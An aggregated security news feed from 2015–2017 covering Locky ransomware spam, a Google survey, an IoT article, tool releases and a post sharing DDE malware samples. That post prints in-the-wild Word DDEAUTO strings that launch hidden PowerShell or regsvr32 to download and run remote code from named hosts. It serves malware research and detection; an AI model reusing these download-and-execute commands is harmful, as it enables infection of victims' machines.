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Security pros' advice to consumers: 'We dunno, try 152 things'

Google survey finds pros don't like safety strategies preferred by spooks

A Google-conducted survey of 231 infosec pros worldwide has reaffirmed the industry's faith in strong passwords, and achieved consensus about nothing else.…

Posted: 23 Oct 2017 | 7:03 pm

Just say “No!” – how to stop the DDE email attack [VIDEO]

The DDE attack sounds scary - no macros, no tell-tale scripts, no attachment needed. Learn what to look for and how to stop an attack.

Posted: 23 Oct 2017 | 10:43 am

A Look at Locky Ransomware’s Recent Spam Activities

Ransomware has been one of the most prevalent, prolific, and pervasive threats in the 2017 threat landscape, with financial losses among enterprises and end users now likely to have reached billions of dollars. Locky ransomware, in particular, has come a long way since first emerging in early 2016. Despite the number of times it apparently spent in hiatus, Locky remains a relevant and credible threat given its impact on end users and especially businesses. Our detections show that it’s making another comeback with new campaigns.

A closer look at Locky’s activities reveals a constant: the use of spam. While spam remains to be a major entry point for ransomware, others such as Cerber also employ vectors like exploit kits. Locky, however, appears to concentrate its distribution through large-scale spam campaigns regardless of the variants released by its operators/developers.  Here’s a visualization of its distribution from January 2 to September 8:


Figure 1: A timeline of Locky ransomware detections based on partial feedback from our email-based sensors

The Necurs Connection
We’ve also found how the scale and scope of Locky’s distribution are fueled by the Necurs botnet, a spam distribution infrastructure comprising zombified devices. It churns out a sizeable amount of spam emails carrying information stealers like Gameover ZeuS, ZBOT or Dridex, and other ransomware families such as CryptoLocker, CryptoWall, and Jaff.

Necurs is Locky’s known and long-time partner in crime, and it’s no coincidence that the surge of Locky-bearing spam emails corresponds with the uptick in Necurs’ own activity. In fact, we saw that Necurs actively pushed Locky from August to October. Here’s a timeline:


Figure 2: Necurs botnet distributing Locky variants from August 29 to October 11, 2017

It’s also worth noting that Necurs also distributed Locky via URL-only spam emails—that is, the messages didn’t have any attachments, but rather links that divert users to compromised websites hosting the ransomware. The use of HTMLs embedded with links to the compromised site also started gaining traction this year.

Interestingly, we saw a sizeable URL-only spam campaign that delivered the Trickbot banking malware (TSPY_TRICKLOAD) separately. The routine is similar to another campaign we observed, where cybercriminal operators rotated their payloads between FakeGlobe and Locky. In some of our tests, we found that the payload depended on the region: western countries are more likely to be served with Trickbot, while countries like Japan and Taiwan, for instance, are more likely to get Locky.


Figure 3: A sample URL-only spam email that delivered either Trickbot or Locky

Spam attachments: Locky’s testing ground?
The timing of Locky’s lulls and surges matches other cybercriminal activities. They can also be construed as intervals used to fine-tune and diversify Locky’s infection chains. This is the likeliest case with the recent Diablo and Lukitus variants, which used malicious (or posed as) PDF and image files (i.e., JPEG, TIFF). They are deviations from the usual vectors, Word documents embedded with malicious macro code or Visual Basic scripts (VBS).

And indeed, we’ve seen Locky diversify in terms of the spam email attachments it uses. Necurs botnet, for instance, increasingly favors the distribution of spam emails with HTML files. The Locky spam campaign we monitored in mid-September also used Word documents with malicious macro, but coded to run and download Locky after the user closes the file. Locky also abused Windows Script File (WSF) and dynamic-link libraries (DLL) as infection vectors, so it’s not implausible for the ransomware to misuse other file types and expand beyond macros, VBSes, or HTML files. Here’s a breakdown of the file attachments used by Locky-laced spam emails we’ve seen so far:


Figure 4: The file types used by Locky-carrying spam emails in from January to September 2017; note that the VBS, JS, and JSE files are archived via RAR, ZIP or 7ZIP files

Locky’s common social engineering lures
Indeed, the continuous changes in Locky’s use of file attachments are its way of adjusting its tools to evade or bypass traditional security. But despite the seeming variety, there are common denominators in Locky’s social engineering, particularly in the email subjects and content. They appear to have the same old flavors, but with relatively different twists. Some of the recent lures we saw were:

Mind your gaps
The delivery mechanism is a critical component for any ransomware. Locky’s infection vectors—and its adverse impact on affected systems—demonstrate the significance of a multilayered approach to safeguarding the privacy, security, and integrity of the gatewaysendpointsnetworks or servers that manage or store mission-critical, corporate or personal data. Follow and apply best practices against ransomware: keep the system patched, secure the email gateway, and regularly back up data. Enterprises should implement defense in depth: enforce the principle of least privilege, keep the system and its applications updated (or employ virtual patching), and incorporate additional layers of security against malicious files and network activities that can be exploited by ransomware. More importantly, foster a culture of cybersecurity—the technologies that thwart threats are only as effective as the people who use them.

Trend Micro Solutions
Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop threats like Locky before they reach the network. Email and web gateway solutions such as Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security prevent ransomware from ever reaching end users. At the endpoint level, Trend Micro™ Smart Protection Suites, powered by XGen™ Security, deliver several capabilities like high-fidelity machine learning, behavior monitoring and application control, and vulnerability shielding that minimizes Locky’s impact.

Trend Micro™ Deep Security™ stops ransomware from reaching enterprise servers–whether physical, virtual or in the cloud. Trend Micro™ Worry-Free Services Advanced offers cloud-based email gateway security to small businesses through Hosted Email Security. Its endpoint protection also delivers several capabilities such as behavior monitoring and real-time web reputation in order detect and block ransomware. For home users, Trend Micro Security 10 provides strong protection against ransomware by blocking malicious websites, emails, and files associated with this threat.

Post from: Trendlabs Security Intelligence Blog - by Trend Micro

A Look at Locky Ransomware’s Recent Spam Activities

Posted: 19 Oct 2017 | 5:01 am

DDE Command Execution malware samples






Here are a few samples related to the recent DDE Command execution






Reading:
10/18/2017 InQuest/yara-rules 
10/18/2017 https://twitter.com/i/moments/918126999738175489 
10/18/2017 Inquest: Microsoft Office DDE Macro-less Command Execution Vulnerability
10/18/2017 Inquest: Microsoft Office DDE Vortex Ransomware Targeting Poland
10/16/2017 https://twitter.com/noottrak/status/919975081828261888
10/14/2017 Inquest: Microsoft Office DDE Freddie Mac Targeted Lure 
10/14/2017 Inquest: Microsoft Office DDE SEC OMB Approval Lure
10/12/2017 NViso labs: YARA DDE rules: DDE Command Execution observed in-the-wild 
10/11/2017 Talos:Spoofed SEC Emails Distribute Evolved DNSMessenger 
10/10/2017  NViso labs: MS Office DDE YARA rules
10/09/2017 Sensepost: Macro-less Code Exec in MSWord




Download




 Download. Email me if you need the password  (updated sample pack)




File information
List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b








Message information


For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

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This is a multi-part message in MIME format.

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Important information about last changes in EDGAR Filings


--b2_7608a3de5fe6c9bf7df6782a8aa9790f
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<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>



--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"
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Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>


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for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

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Posted: 18 Oct 2017 | 6:33 am

ConverterNET v0.1 Released

I spent the past several months porting Converter to the .NET Framework and am finally able to release a public version of it.

Many of the original functions are present and I’ve added a few more things to the menu. Several conveniences have also been included that may not be very obvious:

+ Forms are non-modal so you can have multiple forms open at once
+ Many forms can be maximized
+ Many forms have split containers that you can resize
+ Context menu have been added to key textboxes
+ Textboxes are using a monospaced font

The Convert Binary function has been changed. You can choose to load a binary or text file and convert the file appropriately. If you want to XOR or shift the files then choose “Transform Only” then enter your comma-delimited text or hex key.

The Key Search/Convert function has also changed a bit. Specifically you can choose:

+ Single key (e.g. abc ^ x)
+ Multi-key (e.g. a ^ x, b ^ y, c ^ z)
+ Multi-key sub-loop (e.g. a ^ xyz, b ^ xyz, c ^ xyz)
+ Multi-key step # (e.g. a ^ (xyz % step), etc ).

You can get ConverterNET (32-bit and 64-bit binaries are included) from here. If you encounter any bugs, please let me know.

Posted: 24 Jun 2017 | 4:59 pm

Stepping up security for an Internet-of-Things World

The optimistic outlook is that the internet of things will be an enabling technology that will help make the people and physical systems of the world — health care, food production, transportation, energy consumption — smarter and more efficient.

The pessimistic outlook? Hackers will have something else to hack. And consumers accustomed to adding security tools to their computers and phones should expect to adopt similar precautions with internet-connected home appliances.

“If we want to put networked technologies into more and more things, we also have to find a way to make them safer,” said Michael Walker, a program manager and computer security expert at the Pentagon’s advanced research arm. “It’s a challenge for civilization.”

To help address that challenge, Mr. Walker and the Defense Advanced Research Projects Agency, or Darpa, created a contest with millions of dollars in prize money, called the Cyber Grand Challenge. To win, contestants would have to create automated digital defense systems that could identify and fix software vulnerabilities on their own — essentially smart software robots as sentinels for digital security.

A reminder of the need for stepped-up security came a few weeks after the Darpa-sponsored competition, which was held in August. Researchers for Level 3 Communications, a telecommunications company, said they had detected several strains of malware that launched attacks on websites from compromised internet-of-things devices.

Read the full article at The New York Times.

The post Stepping up security for an Internet-of-Things World appeared first on CyberESI.

Posted: 18 Oct 2016 | 7:42 am

Freedome VPN For Mac OS X

Take a look at this:

F-Secure Freedome Mac OS X

F-Secure Freedome for OS X (freshly installed on a Labs Mac Team MacBook).

Mac_Team_Test_Machines

The beta is now open for everyone to try for 60 days at no cost.

Download or share.

On 24/04/15 At 12:37 PM

Posted: 24 Apr 2015 | 1:37 am